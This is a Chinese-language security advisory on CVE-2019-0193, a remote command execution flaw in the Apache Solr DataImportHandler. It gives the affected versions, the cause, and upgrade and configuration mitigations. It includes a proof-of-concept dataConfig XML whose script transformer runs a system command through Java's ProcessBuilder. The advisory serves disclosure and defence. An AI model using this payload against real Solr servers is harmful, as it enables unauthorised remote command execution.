Apache Solr遠程命令執行漏洞處置建議

發布時間 2019-08-08

? 漏洞編號和級別


CVE編號:CVE-2019-0193,危險級別:嚴重,CVSS分值:官方未評定


影響版本


受影響的版本


適用于Solr < 8.2.0且開啟了DataImport功能。


漏洞概述


Apache Solr是美國阿帕奇(Apache)軟件基金會的一款基于Lucene(一款全文搜索引擎)的搜索服務器。該產品支持層面搜索、垂直搜索、高亮顯示搜索結果等。


此次漏洞出現在Apache Solr的DataImportHandler,該模塊是一個可選但常用的模塊,用于從數據庫和其他源中提取數據。


該漏洞源于用戶在solrconfig.xml文件中設置了DataImportHandler,開啟了DataImport功能。DataImportHandler模塊允許用戶自己包含腳本,來進行配置。攻擊者可以通過構造惡意的腳本交由轉換器進行解析,在Solr解析的過程中并未對用戶的輸入做檢查,可導致攻擊者遠程在Solr服務器上執行命令。


漏洞驗證


POC:


<?xml version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
     type="JdbcDataSource"  
     driver="com.mysql.jdbc.Driver"  
     url="jdbc:mysql://localhost:3306/mysql"  
     user="root"  
     password="123456"/>
<script ><![CDATA[
   function f2c(row) {
      var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
     return row;
   }
   ]]>
 </script>  
<document>  
 <entity name="Users" query="SELECT 1" transformer="script:f2c">
 </entity>  
</document>  
</dataConfig>


訪問url:http://ip:8983/solr/#/core1/dataimport//dataimport,存在這個路徑,就證明用戶的solr,有可選模塊DataImportHandler,存在漏洞利用風險。詳見下圖:

 


該漏洞影響版本Solr < 8.2.0,在Dashboard頁面可以查看solr的版本,詳見下圖:

 


修復建議


將Apache Solr升級至8.2.0或更高的版本。


臨時修復建議:


1、 編輯solrconfig.xml,將所有用固定值配置的DataImportHandler用法中的dataConfig參數設置為空字符串;

 


2、確保網絡設置只允許可信的流量與Solr進行通信,特別是與DIH請求處理程序的通信。


參考鏈接


https://issues.apache.org/jira/browse/SOLR-13669